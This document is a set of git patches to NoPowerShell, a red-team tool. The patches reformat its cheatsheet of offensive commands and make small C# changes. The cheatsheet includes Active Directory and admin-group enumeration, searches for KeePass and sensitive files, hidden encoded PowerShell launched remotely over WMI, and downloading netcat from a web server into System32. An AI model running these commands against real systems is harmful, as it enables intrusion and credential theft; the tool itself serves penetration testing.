ExampleEntries() { - new ExampleEntry("Download file from the Internet", "wget http://myserver.me/nc.exe"), + new ExampleEntry( + "Download file from the Internet", + new List() + { + "Invoke-WebRequest http://myserver.me/nc.exe", + "wget http://myserver.me/nc.exe" + } + ), new ExampleEntry("Download file from the Internet specifying the destination", "wget http://myserver.me/nc.exe -OutFile C:\\Tmp\\netcat.exe"), }; } diff --git a/Source/NoPowerShell/Commands/Utility/MeasureObjectCommand.cs b/Source/NoPowerShell/Commands/Utility/MeasureObjectCommand.cs index 00e5b92..e331e9d 100644 --- a/Source/NoPowerShell/Commands/Utility/MeasureObjectCommand.cs +++ b/Source/NoPowerShell/Commands/Utility/MeasureObjectCommand.cs @@ -1,5 +1,6 @@ using NoPowerShell.Arguments; using NoPowerShell.HelperClasses; +using System.Collections.Generic; /* Author: @bitsadmin @@ -67,7 +68,15 @@ public override CommandResult Execute(CommandResult pipeIn) { return new ExampleEntries() { - new ExampleEntry("Count number of results", "Get-Process | measure"), + new ExampleEntry + ( + "Count number of results", + new List() + { + "Get-Process | Measure-Object", + "Get-Process | measure" + } + ), new ExampleEntry("Count number of lines in file", "gc C:\\Windows\\WindowsUpdate.log | measure"), }; } diff --git a/Source/NoPowerShell/HelperClasses/ResultRecord.cs b/Source/NoPowerShell/HelperClasses/ResultRecord.cs index e833758..69b5e19 100644 --- a/Source/NoPowerShell/HelperClasses/ResultRecord.cs +++ b/Source/NoPowerShell/HelperClasses/ResultRecord.cs @@ -1,5 +1,6 @@ using System; using System.Collections.Generic; +using System.Text; /* Author: @bitsadmin @@ -57,5 +58,20 @@ public override int GetHashCode() { return base.GetHashCode(); } + + public override string ToString() + { + string[] values = new string[this.Count]; + int i = 0; + + // Concatenate values with a vertical bar (|) + foreach(KeyValuePair kvp in this) + { + values[i] = kvp.Value; + i++; + } + + return string.Join(" | ", values); + } } } diff --git a/Source/NoPowerShell/Program.cs b/Source/NoPowerShell/Program.cs index 2fca4e0..4d3ca24 100644 --- a/Source/NoPowerShell/Program.cs +++ b/Source/NoPowerShell/Program.cs @@ -105,7 +105,7 @@ static int Main(string[] args) return 0; } - static void WriteError(string error) + public static void WriteError(string error, params object[] args) { // Save existing color ConsoleColor BackgroundColor = Console.BackgroundColor; @@ -115,7 +115,24 @@ static void WriteError(string error) Console.BackgroundColor = ConsoleColor.Black; Console.ForegroundColor = ConsoleColor.Red; - Console.Error.WriteLine(error); + Console.Error.WriteLine(error, args); + + // Revert colors + Console.BackgroundColor = BackgroundColor; + Console.ForegroundColor = ForegroundColor; + } + + public static void WriteWarning(string warning, params object[] args) + { + // Save existing color + ConsoleColor BackgroundColor = Console.BackgroundColor; + ConsoleColor ForegroundColor = Console.ForegroundColor; + + // Change color to error text + Console.BackgroundColor = ConsoleColor.Black; + Console.ForegroundColor = ConsoleColor.DarkYellow; + + Console.Error.WriteLine(warning, args); // Revert colors Console.BackgroundColor = BackgroundColor; From bac4c5583c7ae15b0a4b985130864339631a6a33 Mon Sep 17 00:00:00 2001 From: bitsadmin Date: Sat, 4 Apr 2020 20:52:02 +0200 Subject: [PATCH 11/23] Fixed layout of cheatsheet --- CHEATSHEET.md | 218 ++++++++++-------- .../Commands/Core/GetCommandCommand.cs | 29 ++- 2 files changed, 145 insertions(+), 102 deletions(-) diff --git a/CHEATSHEET.md b/CHEATSHEET.md index 09ead5a..6cbe3a7 100644 --- a/CHEATSHEET.md +++ b/CHEATSHEET.md @@ -1,95 +1,129 @@ # Cheatsheet Cheatsheet of offensive PowerShell commands that are supported by NoPowerShell. -| Action | Command | Alternative | -| - | - | - | -| Get the sites from the configuration naming context | `Get-ADObject -LDAPFilter "(objectClass=site)" -SearchBase "CN=Configuration,DC=MyDomain,DC=local" -Properties whenCreated,cn` | | -| Get specific object | `Get-ADObject -Identity "CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=MyDomain,DC=local" -Properties *` | | -| List all global groups | `Get-ADObject -LDAPFilter "(GroupType:1.2.840.113556.1.4.803:=2)" -SearchBase "DC=MyDomain,DC=local"` | | -| List trusts | `Get-ADTrust` | | -| List trusts recursively till depth 3 | `Get-ADTrust -Depth 3` | | -| List all details of a certain trust | `Get-ADTrust -LDAPFilter "(Name=mydomain.com)"` | | -| List specific details of a certain trust | `Get-ADTrust -LDAPFilter "(Name=mydomain.com)" -Properties Name,trustDirection,securityIdentifier` | | -| List all user groups in domain | `Get-ADGroup -Filter *` | | -| List all administrative groups in domain | `Get-ADGroup -LDAPFilter "(admincount=1)" \| select Name` | | -| List all members of the "Domain Admins" group | `Get-ADGroupMember -Identity "Domain Admins"` | `Get-ADGroupMember "Domain Admins"` | -| List all properties of the DC01 domain computer | `Get-ADComputer -Identity DC01 -Properties *` | | -| List all Domain Controllers | `Get-ADComputer -LDAPFilter "(msDFSR-ComputerReferenceBL=*)"` | | -| List all computers in domain | `Get-ADComputer -Filter *` | | -| List specific attributes of the DC01 domain computer | `Get-ADComputer DC01 -Properties Name,operatingSystem` | | -| List all properties of the Administrator domain user | `Get-ADUser -Identity Administrator -Properties *` | | -| List all Administrative users in domain | `Get-ADUser -LDAPFilter "(admincount=1)"` | | -| List all users in domain | `Get-ADUser -Filter *` | | -| List specific attributes of user | `Get-ADUser Administrator -Properties SamAccountName,ObjectSID` | | -| List all users in a specific OU | `Get-ADUser -SearchBase "CN=Users,DC=MyDomain,DC=local" -Filter *` | | -| Show the current user | `whoami` | | -| List SMB shares of MyServer | `Get-RemoteSmbShare \\MyServer` | | -| Extract zip | `Expand-Archive -Path C:\MyArchive.zip -DestinationPath C:\Extracted` | `unzip C:\MyArchive.zip C:\Extracted` | -| Extract zip into current directory | `unzip C:\MyArchive.zip` | | -| Compress folder to zip | `Compress-Archive -Path C:\MyFolder -DestinationPath C:\MyFolder.zip` | `zip C:\MyFolder C:\MyFolder.zip` | -| List all processes containing PowerShell in the process name | `Get-Process \| ? Name -Like *PowerShell*` | | -| List all active local users | `Get-LocalUser \| ? Disabled -EQ False` | | -| Get help for a command | `Get-Help -Name Get-Process` | `man ps` | -| List all commands supported by NoPowerShell | `Get-Command` | | -| List commands of a certain module | `Get-Command -Module ActiveDirectory` | | -| Resolve domain name | `Resolve-DnsName microsoft.com` | `host linux.org` | -| Lookup specific record | `Resolve-DnsName -Type MX pm.me` | | -| Reverse DNS lookup | `Resolve-DnsName 1.1.1.1` | | -| List all active members of the Administrators group | `Get-LocalGroupMember -Group Administrators \| ? Disabled -eq False` | | -| List all local groups | `Get-LocalGroup` | | -| List details of a specific group | `Get-LocalGroup Administrators` | | -| List members of Administrators group on a remote computer using WMI | `Get-LocalGroup -ComputerName Myserver -Username MyUser -Password MyPassword -Name Administrators` | `Get-LocalGroup -ComputerName Myserver -Name Administrators` | -| List all local users | `Get-LocalUser` | | -| List details of a specific user | `Get-LocalUser -Name Administrator` | `Get-LocalUser Administrator` | -| List details of a specific user on a remote machine using WMI | `Get-LocalUser -ComputerName MyServer -Username MyUser -Password MyPassword -Name Administrator` | `Get-LocalUser -ComputerName MyServer Administrator` | -| List drives | `Get-PSDrive` | `gdr` | -| View contents of a file | `Get-Content C:\Windows\WindowsUpdate.log` | `cat C:\Windows\WindowsUpdate.log` | -| Get all hotfixes on the local computer | `Get-HotFix` | | -| Get all hotfixes from a remote computer using WMI | `Get-HotFix -ComputerName MyServer -Username Administrator -Password Pa$$w0rd` | `Get-HotFix -ComputerName MyServer` | -| Locate KeePass files in the C:\Users\ directory | `Get-ChildItem -Recurse -Force C:\Users\ -Include *.kdbx` | `ls -Recurse -Force C:\Users\ -Include *.kdbx` | -| List the keys under the SOFTWARE key in the registry | `ls HKLM:\SOFTWARE` | | -| Search for files which can contain sensitive data on the C-drive | `ls -Recurse -Force C:\ -Include *.xml,*.ini,*.txt,*.cmd,*.bat,*.conf,*.config,*.log,*.reg,*.ps1,*.psm1,*.psd1,*.ps1xml,*.psc1,*.rdp,*.rdg,*.url,*.sql` | | -| List local shares | `Get-WmiObject -Namespace ROOT\CIMV2 -Query "Select * From Win32_Share Where Name LIKE '%$'"` | `gwmi -Class Win32_Share -Filter "Name LIKE '%$'"` | -| Obtain data of Win32_Process class from a remote system and apply a filter on the output | `Get-WmiObject "Select ProcessId,Name,CommandLine From Win32_Process" -ComputerName dc01.corp.local -Username MyUser -Password MyPassword \| ? Name -Like *PowerShell* \| select ProcessId,CommandLine` | `gwmi "Select ProcessId,Name,CommandLine From Win32_Process" -ComputerName dc01.corp.local \| ? Name -Like *PowerShell* \| select ProcessId,CommandLine` | -| View details about a certain service | `Get-WmiObject -Class Win32_Service -Filter "Name = 'WinRM'"` | | -| List processes | `Get-Process` | `ps` | -| List processes on remote host using WMI | `Get-Process -ComputerName dc01.corp.local -Username Administrator -Password P4ssw0rd!` | `ps -ComputerName dc01.corp.local` | -| Gracefully stop processes | `Stop-Process -Id 4512,7241` | | -| Kill process | `Stop-Process -Force -Id 4512` | | -| Kill all cmd.exe processes | `Get-Process cmd \| Stop-Process -Force` | | -| Show information about the system | `Get-ComputerInfo` | `systeminfo` | -| Show information about the system not listing patches | `systeminfo -Simple` | | -| Show information about a remote machine using WMI | `Get-ComputerInfo -ComputerName MyServer -Username MyUser -Password MyPassword` | `Get-ComputerInfo -ComputerName MyServer` | -| Launch process | `Invoke-WmiMethod -Class Win32_Process -Name Create "cmd /c calc.exe"` | | -| Launch process on remote system | `Invoke-WmiMethod -ComputerName MyServer -Username MyUserName -Password MyPassword -Class Win32_Process -Name Create "powershell -NoP -W H -E ZQBjAGgAbwAgACcASABlAGwAbABvACAATgBvAFAAbwB3AGUAcgBTAGgAZQBsAGwAIQAnAA=="` | `iwmi -ComputerName MyServer -Class Win32_Process -Name Create "powershell -NoP -W H -E ZQBjAGgAbwAgACcASABlAGwAbABvACAATgBvAFAAbwB3AGUAcgBTAGgAZQBsAGwAIQAnAA=="` | -| Delete a file | `Remove-Item C:\tmp\MyFile.txt` | `rm C:\tmp\MyFile.txt` | -| Delete a read-only file | `Remove-Item -Force C:\Tmp\MyFile.txt` | | -| Recursively delete a folder | `Remove-Item -Recurse C:\Tmp\MyTools\` | | -| List autoruns in the registry | `Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Run \| ft` | | -| Copy file from one location to another | `Copy-Item C:\Tmp\nc.exe C:\Windows\System32\nc.exe` | `copy C:\Tmp\nc.exe C:\Windows\System32\nc.exe` | -| Copy folder | `copy C:\Tmp\MyFolder C:\Tmp\MyFolderBackup` | | -| Send ICMP request to host | `Test-NetConnection 1.1.1.1` | `tnc 1.1.1.1` | -| Send 2 ICMP requests to IP address 1.1.1.1 with half a second of timeout | `Test-NetConnection -Count 2 -Timeout 500 1.1.1.1` | | -| Perform a traceroute with a timeout of 1 second and a maximum of 20 hops | `Test-NetConnection -TraceRoute -Timeout 1000 -Hops 20 bitsadm.in` | | -| Perform ping with maximum TTL specified | `ping -TTL 32 1.1.1.1` | | -| Check for open port | `tnc bitsadm.in -Port 80` | | -| List ARP table entries | `Get-NetNeighbor` | `arp` | -| Show the IP routing table | `Get-NetRoute` | `route` | -| Show the IP routing table on a remote machine using WMI | `Get-NetRoute -ComputerName MyServer -Username MyUser -Password MyPassword` | `route -ComputerName MyServer` | -| Show network interfaces | `Get-NetIPAddress` | `ipconfig`, `ifconfig` | -| Show all network interfaces | `Get-NetIPAddress -All` | `ipconfig -All` | -| Show all network interfaces on a remote machine using WMI | `Get-NetIPAddress -All -ComputerName MyServer -Username MyUser -Password MyPassword` | `Get-NetIPAddress -All -ComputerName MyServer` | -| List SMB shares on the computer | `Get-SmbShare` | | -| List network shares on the local machine that are exposed to the network | `Get-SmbMapping` | `netuse` | -| Count number of results | `Get-Process \| Measure-Object` | `Get-Process \| measure` | -| Count number of lines in file | `gc C:\Windows\WindowsUpdate.log \| measure` | | -| Download file from the Internet | `Invoke-WebRequest http://myserver.me/nc.exe` | `wget http://myserver.me/nc.exe` | -| Download file from the Internet specifying the destination | `wget http://myserver.me/nc.exe -OutFile C:\Tmp\netcat.exe` | | -| Show only the Name in a file listing | `ls C:\ \| select Name` | | -| Show first 10 results of file listing | `ls C:\Windows\System32 -Include *.exe \| select -First 10 Name,Length` | | -| Sort processes by name descending | `ps \| sort -d name` | | -| Format output as a table | `Get-Process \| Format-Table` | `Get-Process \| ft` | -| Format output as a table showing only specific attributes | `Get-Process \| ft ProcessId,Name` | | -| Format output as a list | `Get-LocalUser \| Format-List` | `Get-LocalUser \| fl` | -| Format output as a list showing only specific attributes | `Get-LocalUser \| fl Name,Description` | | -| Store list of commands as CSV | `Get-Command \| Export-Csv -Encoding ASCII -Path commands.csv` | | +| Action | Command | +| - | - | +| Get the sites from the configuration naming context | `Get-ADObject -LDAPFilter "(objectClass=site)" -SearchBase "CN=Configuration,DC=MyDomain,DC=local" -Properties whenCreated,cn` | +| Get specific object | `Get-ADObject -Identity "CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=MyDomain,DC=local" -Properties *` | +| List all global groups | `Get-ADObject -LDAPFilter "(GroupType:1.2.840.113556.1.4.803:=2)" -SearchBase "DC=MyDomain,DC=local"` | +| List trusts | `Get-ADTrust` | +| List trusts recursively till depth 3 | `Get-ADTrust -Depth 3` | +| List all details of a certain trust | `Get-ADTrust -LDAPFilter "(Name=mydomain.com)"` | +| List specific details of a certain trust | `Get-ADTrust -LDAPFilter "(Name=mydomain.com)" -Properties Name,trustDirection,securityIdentifier` | +| List all user groups in domain | `Get-ADGroup -Filter *` | +| List all administrative groups in domain | `Get-ADGroup -LDAPFilter "(admincount=1)" \| select Name` | +| List all members of the "Domain Admins" group | `Get-ADGroupMember -Identity "Domain Admins"` | +| List all members of the "Domain Admins" group - Alternative | `Get-ADGroupMember "Domain Admins"` | +| List all properties of the DC01 domain computer | `Get-ADComputer -Identity DC01 -Properties *` | +| List all Domain Controllers | `Get-ADComputer -LDAPFilter "(msDFSR-ComputerReferenceBL=*)"` | +| List all computers in domain | `Get-ADComputer -Filter *` | +| List specific attributes of the DC01 domain computer | `Get-ADComputer DC01 -Properties Name,operatingSystem` | +| List all properties of the Administrator domain user | `Get-ADUser -Identity Administrator -Properties *` | +| List all Administrative users in domain | `Get-ADUser -LDAPFilter "(admincount=1)"` | +| List all users in domain | `Get-ADUser -Filter *` | +| List specific attributes of user | `Get-ADUser Administrator -Properties SamAccountName,ObjectSID` | +| List all users in a specific OU | `Get-ADUser -SearchBase "CN=Users,DC=MyDomain,DC=local" -Filter *` | +| Show the current user | `whoami` | +| List SMB shares of MyServer | `Get-RemoteSmbShare \\MyServer` | +| Extract zip | `Expand-Archive -Path C:\MyArchive.zip -DestinationPath C:\Extracted` | +| Extract zip - Alternative | `unzip C:\MyArchive.zip C:\Extracted` | +| Extract zip into current directory | `unzip C:\MyArchive.zip` | +| Compress folder to zip | `Compress-Archive -Path C:\MyFolder -DestinationPath C:\MyFolder.zip` | +| Compress folder to zip - Alternative | `zip C:\MyFolder C:\MyFolder.zip` | +| List all processes containing PowerShell in the process name | `Get-Process \| ? Name -Like *PowerShell*` | +| List all active local users | `Get-LocalUser \| ? Disabled -EQ False` | +| Get help for a command | `Get-Help -Name Get-Process` | +| Get help for a command - Alternative | `man ps` | +| List all commands supported by NoPowerShell | `Get-Command` | +| List commands of a certain module | `Get-Command -Module ActiveDirectory` | +| Resolve domain name | `Resolve-DnsName microsoft.com` | +| Resolve domain name - Alternative | `host linux.org` | +| Lookup specific record | `Resolve-DnsName -Type MX pm.me` | +| Reverse DNS lookup | `Resolve-DnsName 1.1.1.1` | +| List all active members of the Administrators group | `Get-LocalGroupMember -Group Administrators \| ? Disabled -eq False` | +| List all local groups | `Get-LocalGroup` | +| List details of a specific group | `Get-LocalGroup Administrators` | +| List members of Administrators group on a remote computer using WMI | `Get-LocalGroup -ComputerName Myserver -Username MyUser -Password MyPassword -Name Administrators` | +| List members of Administrators group on a remote computer using WMI - Alternative | `Get-LocalGroup -ComputerName Myserver -Name Administrators` | +| List all local users | `Get-LocalUser` | +| List details of a specific user | `Get-LocalUser -Name Administrator` | +| List details of a specific user - Alternative | `Get-LocalUser Administrator` | +| List details of a specific user on a remote machine using WMI | `Get-LocalUser -ComputerName MyServer -Username MyUser -Password MyPassword -Name Administrator` | +| List details of a specific user on a remote machine using WMI - Alternative | `Get-LocalUser -ComputerName MyServer Administrator` | +| List drives | `Get-PSDrive` | +| List drives - Alternative | `gdr` | +| View contents of a file | `Get-Content C:\Windows\WindowsUpdate.log` | +| View contents of a file - Alternative | `cat C:\Windows\WindowsUpdate.log` | +| Get all hotfixes on the local computer | `Get-HotFix` | +| Get all hotfixes from a remote computer using WMI | `Get-HotFix -ComputerName MyServer -Username Administrator -Password Pa$$w0rd` | +| Get all hotfixes from a remote computer using WMI - Alternative | `Get-HotFix -ComputerName MyServer` | +| Locate KeePass files in the C:\Users\ directory | `Get-ChildItem -Recurse -Force C:\Users\ -Include *.kdbx` | +| Locate KeePass files in the C:\Users\ directory - Alternative | `ls -Recurse -Force C:\Users\ -Include *.kdbx` | +| List the keys under the SOFTWARE key in the registry | `ls HKLM:\SOFTWARE` | +| Search for files which can contain sensitive data on the C-drive | `ls -Recurse -Force C:\ -Include *.xml,*.ini,*.txt,*.cmd,*.bat,*.conf,*.config,*.log,*.reg,*.ps1,*.psm1,*.psd1,*.ps1xml,*.psc1,*.rdp,*.rdg,*.url,*.sql` | +| List local shares | `Get-WmiObject -Namespace ROOT\CIMV2 -Query "Select * From Win32_Share Where Name LIKE '%$'"` | +| List local shares - Alternative | `gwmi -Class Win32_Share -Filter "Name LIKE '%$'"` | +| Obtain data of Win32_Process class from a remote system and apply a filter on the output | `Get-WmiObject "Select ProcessId,Name,CommandLine From Win32_Process" -ComputerName dc01.corp.local -Username MyUser -Password MyPassword \| ? Name -Like *PowerShell* \| select ProcessId,CommandLine` | +| Obtain data of Win32_Process class from a remote system and apply a filter on the output - Alternative | `gwmi "Select ProcessId,Name,CommandLine From Win32_Process" -ComputerName dc01.corp.local \| ? Name -Like *PowerShell* \| select ProcessId,CommandLine` | +| View details about a certain service | `Get-WmiObject -Class Win32_Service -Filter "Name = 'WinRM'"` | +| List processes | `Get-Process` | +| List processes - Alternative | `ps` | +| List processes on remote host using WMI | `Get-Process -ComputerName dc01.corp.local -Username Administrator -Password P4ssw0rd!` | +| List processes on remote host using WMI - Alternative | `ps -ComputerName dc01.corp.local` | +| Gracefully stop processes | `Stop-Process -Id 4512,7241` | +| Kill process | `Stop-Process -Force -Id 4512` | +| Kill all cmd.exe processes | `Get-Process cmd \| Stop-Process -Force` | +| Show information about the system | `Get-ComputerInfo` | +| Show information about the system - Alternative | `systeminfo` | +| Show information about the system not listing patches | `systeminfo -Simple` | +| Show information about a remote machine using WMI | `Get-ComputerInfo -ComputerName MyServer -Username MyUser -Password MyPassword` | +| Show information about a remote machine using WMI - Alternative | `Get-ComputerInfo -ComputerName MyServer` | +| Launch process | `Invoke-WmiMethod -Class Win32_Process -Name Create "cmd /c calc.exe"` | +| Launch process on remote system | `Invoke-WmiMethod -ComputerName MyServer -Username MyUserName -Password MyPassword -Class Win32_Process -Name Create "powershell -NoP -W H -E ZQBjAGgAbwAgACcASABlAGwAbABvACAATgBvAFAAbwB3AGUAcgBTAGgAZQBsAGwAIQAnAA=="` | +| Launch process on remote system - Alternative | `iwmi -ComputerName MyServer -Class Win32_Process -Name Create "powershell -NoP -W H -E ZQBjAGgAbwAgACcASABlAGwAbABvACAATgBvAFAAbwB3AGUAcgBTAGgAZQBsAGwAIQAnAA=="` | +| Delete a file | `Remove-Item C:\tmp\MyFile.txt` | +| Delete a file - Alternative | `rm C:\tmp\MyFile.txt` | +| Delete a read-only file | `Remove-Item -Force C:\Tmp\MyFile.txt` | +| Recursively delete a folder | `Remove-Item -Recurse C:\Tmp\MyTools\` | +| List autoruns in the registry | `Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Run \| ft` | +| Copy file from one location to another | `Copy-Item C:\Tmp\nc.exe C:\Windows\System32\nc.exe` | +| Copy file from one location to another - Alternative | `copy C:\Tmp\nc.exe C:\Windows\System32\nc.exe` | +| Copy folder | `copy C:\Tmp\MyFolder C:\Tmp\MyFolderBackup` | +| Send ICMP request to host | `Test-NetConnection 1.1.1.1` | +| Send ICMP request to host - Alternative | `tnc 1.1.1.1` | +| Send 2 ICMP requests to IP address 1.1.1.1 with half a second of timeout | `Test-NetConnection -Count 2 -Timeout 500 1.1.1.1` | +| Perform a traceroute with a timeout of 1 second and a maximum of 20 hops | `Test-NetConnection -TraceRoute -Timeout 1000 -Hops 20 bitsadm.in` | +| Perform ping with maximum TTL specified | `ping -TTL 32 1.1.1.1` | +| Check for open port | `tnc bitsadm.in -Port 80` | +| List ARP table entries | `Get-NetNeighbor` | +| List ARP table entries - Alternative | `arp` | +| Show the IP routing table | `Get-NetRoute` | +| Show the IP routing table - Alternative | `route` | +| Show the IP routing table on a remote machine using WMI | `Get-NetRoute -ComputerName MyServer -Username MyUser -Password MyPassword` | +| Show the IP routing table on a remote machine using WMI - Alternative | `route -ComputerName MyServer` | +| Show network interfaces | `Get-NetIPAddress` | +| Show network interfaces - Alternative | `ipconfig` | +| Show network interfaces - Alternative | `ifconfig` | +| Show all network interfaces | `Get-NetIPAddress -All` | +| Show all network interfaces - Alternative | `ipconfig -All` | +| Show all network interfaces on a remote machine using WMI | `Get-NetIPAddress -All -ComputerName MyServer -Username MyUser -Password MyPassword` | +| Show all network interfaces on a remote machine using WMI - Alternative | `Get-NetIPAddress -All -ComputerName MyServer` | +| List SMB shares on the computer | `Get-SmbShare` | +| List network shares on the local machine that are exposed to the network | `Get-SmbMapping` | +| List network shares on the local machine that are exposed to the network - Alternative | `netuse` | +| Count number of results | `Get-Process \| Measure-Object` | +| Count number of results - Alternative | `Get-Process \| measure` | +| Count number of lines in file | `gc C:\Windows\WindowsUpdate.log \| measure` | +| Download file from the Internet | `Invoke-WebRequest http://myserver.me/nc.exe` | +| Download file from the Internet - Alternative | `wget http://myserver.me/nc.exe` | +| Download file from the Internet specifying the destination | `wget http://myserver.me/nc.exe -OutFile C:\Tmp\netcat.exe` | +| Show only the Name in a file listing | `ls C:\ \| select Name` | +| Show first 10 results of file listing | `ls C:\Windows\System32 -Include *.exe \| select -First 10 Name,Length` | +| Sort processes by name descending | `ps \| sort -d name` | +| Format output as a table | `Get-Process \| Format-Table` | +| Format output as a table - Alternative | `Get-Process \| ft` | +| Format output as a table showing only specific attributes | `Get-Process \| ft ProcessId,Name` | +| Format output as a list | `Get-LocalUser \| Format-List` | +| Format output as a list - Alternative | `Get-LocalUser \| fl` | +| Format output as a list showing only specific attributes | `Get-LocalUser \| fl Name,Description` | +| Store list of commands as CSV | `Get-Command \| Export-Csv -Encoding ASCII -Path commands.csv` | diff --git a/Source/NoPowerShell/Commands/Core/GetCommandCommand.cs b/Source/NoPowerShell/Commands/Core/GetCommandCommand.cs index 5e9b4f2..de10829 100644 --- a/Source/NoPowerShell/Commands/Core/GetCommandCommand.cs +++ b/Source/NoPowerShell/Commands/Core/GetCommandCommand.cs @@ -124,7 +124,7 @@ public override CommandResult Execute(CommandResult pipeIn) // Generate cheatsheet markdown if (cheatsheet) { - Console.WriteLine("| Action | Command | Alternative |\r\n| - | - | - |"); + Console.WriteLine("| Action | Command |\r\n| - | - |"); foreach (ResultRecord r in _results) { @@ -137,20 +137,29 @@ public override CommandResult Execute(CommandResult pipeIn) foreach (string ex in example.Examples) examplestrings.Add(ex.Replace("|", "\\|")); - // Alternative(s) - string alt = null; - if (examplestrings.Count > 1) + int i = 0; + foreach(string ex in examplestrings) { - //string format = "Alternative: `{0}`"; + string desc = string.Empty; + if (i == 0) + desc = example.Description; + else + desc = string.Format("{0} - Alternative", example.Description); - //if (examplestrings.Count > 2) - // format = "Alternatives: `{0}`"; + Console.WriteLine("| {0} | `{1}` |", desc, ex); - List alternatives = examplestrings.GetRange(1, example.Examples.Count - 1); - alt = string.Format("`{0}`", string.Join("`, `", alternatives.ToArray())); + i++; } - Console.WriteLine("| {0} | `{1}` | {2} |", example.Description, examplestrings[0], alt); + // Alternative(s) + //string alt = null; + //if (examplestrings.Count > 1) + //{ + // List alternatives = examplestrings.GetRange(1, example.Examples.Count - 1); + // alt = string.Format("`{0}`", string.Join("`, `", alternatives.ToArray())); + //} + + //Console.WriteLine("| {0} | `{1}` | {2} |", example.Description, examplestrings[0], alt); } } From 5136dd8434757ecda387e3b313dd4f7f5a125974 Mon Sep 17 00:00:00 2001 From: Arris Huijgen Date: Sat, 4 Apr 2020 23:42:54 +0200 Subject: [PATCH 12/23] Regular font --- CHEATSHEET.md | 248 +++++++++++++++++++++++++------------------------- 1 file changed, 124 insertions(+), 124 deletions(-) diff --git a/CHEATSHEET.md b/CHEATSHEET.md index 6cbe3a7..d4e5a2d 100644 --- a/CHEATSHEET.md +++ b/CHEATSHEET.md @@ -3,127 +3,127 @@ Cheatsheet of offensive PowerShell commands that are supported by NoPowerShell. | Action | Command | | - | - | -| Get the sites from the configuration naming context | `Get-ADObject -LDAPFilter "(objectClass=site)" -SearchBase "CN=Configuration,DC=MyDomain,DC=local" -Properties whenCreated,cn` | -| Get specific object | `Get-ADObject -Identity "CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=MyDomain,DC=local" -Properties *` | -| List all global groups | `Get-ADObject -LDAPFilter "(GroupType:1.2.840.113556.1.4.803:=2)" -SearchBase "DC=MyDomain,DC=local"` | -| List trusts | `Get-ADTrust` | -| List trusts recursively till depth 3 | `Get-ADTrust -Depth 3` | -| List all details of a certain trust | `Get-ADTrust -LDAPFilter "(Name=mydomain.com)"` | -| List specific details of a certain trust | `Get-ADTrust -LDAPFilter "(Name=mydomain.com)" -Properties Name,trustDirection,securityIdentifier` | -| List all user groups in domain | `Get-ADGroup -Filter *` | -| List all administrative groups in domain | `Get-ADGroup -LDAPFilter "(admincount=1)" \| select Name` | -| List all members of the "Domain Admins" group | `Get-ADGroupMember -Identity "Domain Admins"` | -| List all members of the "Domain Admins" group - Alternative | `Get-ADGroupMember "Domain Admins"` | -| List all properties of the DC01 domain computer | `Get-ADComputer -Identity DC01 -Properties *` | -| List all Domain Controllers | `Get-ADComputer -LDAPFilter "(msDFSR-ComputerReferenceBL=*)"` | -| List all computers in domain | `Get-ADComputer -Filter *` | -| List specific attributes of the DC01 domain computer | `Get-ADComputer DC01 -Properties Name,operatingSystem` | -| List all properties of the Administrator domain user | `Get-ADUser -Identity Administrator -Properties *` | -| List all Administrative users in domain | `Get-ADUser -LDAPFilter "(admincount=1)"` | -| List all users in domain | `Get-ADUser -Filter *` | -| List specific attributes of user | `Get-ADUser Administrator -Properties SamAccountName,ObjectSID` | -| List all users in a specific OU | `Get-ADUser -SearchBase "CN=Users,DC=MyDomain,DC=local" -Filter *` | -| Show the current user | `whoami` | -| List SMB shares of MyServer | `Get-RemoteSmbShare \\MyServer` | -| Extract zip | `Expand-Archive -Path C:\MyArchive.zip -DestinationPath C:\Extracted` | -| Extract zip - Alternative | `unzip C:\MyArchive.zip C:\Extracted` | -| Extract zip into current directory | `unzip C:\MyArchive.zip` | -| Compress folder to zip | `Compress-Archive -Path C:\MyFolder -DestinationPath C:\MyFolder.zip` | -| Compress folder to zip - Alternative | `zip C:\MyFolder C:\MyFolder.zip` | -| List all processes containing PowerShell in the process name | `Get-Process \| ? Name -Like *PowerShell*` | -| List all active local users | `Get-LocalUser \| ? Disabled -EQ False` | -| Get help for a command | `Get-Help -Name Get-Process` | -| Get help for a command - Alternative | `man ps` | -| List all commands supported by NoPowerShell | `Get-Command` | -| List commands of a certain module | `Get-Command -Module ActiveDirectory` | -| Resolve domain name | `Resolve-DnsName microsoft.com` | -| Resolve domain name - Alternative | `host linux.org` | -| Lookup specific record | `Resolve-DnsName -Type MX pm.me` | -| Reverse DNS lookup | `Resolve-DnsName 1.1.1.1` | -| List all active members of the Administrators group | `Get-LocalGroupMember -Group Administrators \| ? Disabled -eq False` | -| List all local groups | `Get-LocalGroup` | -| List details of a specific group | `Get-LocalGroup Administrators` | -| List members of Administrators group on a remote computer using WMI | `Get-LocalGroup -ComputerName Myserver -Username MyUser -Password MyPassword -Name Administrators` | -| List members of Administrators group on a remote computer using WMI - Alternative | `Get-LocalGroup -ComputerName Myserver -Name Administrators` | -| List all local users | `Get-LocalUser` | -| List details of a specific user | `Get-LocalUser -Name Administrator` | -| List details of a specific user - Alternative | `Get-LocalUser Administrator` | -| List details of a specific user on a remote machine using WMI | `Get-LocalUser -ComputerName MyServer -Username MyUser -Password MyPassword -Name Administrator` | -| List details of a specific user on a remote machine using WMI - Alternative | `Get-LocalUser -ComputerName MyServer Administrator` | -| List drives | `Get-PSDrive` | -| List drives - Alternative | `gdr` | -| View contents of a file | `Get-Content C:\Windows\WindowsUpdate.log` | -| View contents of a file - Alternative | `cat C:\Windows\WindowsUpdate.log` | -| Get all hotfixes on the local computer | `Get-HotFix` | -| Get all hotfixes from a remote computer using WMI | `Get-HotFix -ComputerName MyServer -Username Administrator -Password Pa$$w0rd` | -| Get all hotfixes from a remote computer using WMI - Alternative | `Get-HotFix -ComputerName MyServer` | -| Locate KeePass files in the C:\Users\ directory | `Get-ChildItem -Recurse -Force C:\Users\ -Include *.kdbx` | -| Locate KeePass files in the C:\Users\ directory - Alternative | `ls -Recurse -Force C:\Users\ -Include *.kdbx` | -| List the keys under the SOFTWARE key in the registry | `ls HKLM:\SOFTWARE` | -| Search for files which can contain sensitive data on the C-drive | `ls -Recurse -Force C:\ -Include *.xml,*.ini,*.txt,*.cmd,*.bat,*.conf,*.config,*.log,*.reg,*.ps1,*.psm1,*.psd1,*.ps1xml,*.psc1,*.rdp,*.rdg,*.url,*.sql` | 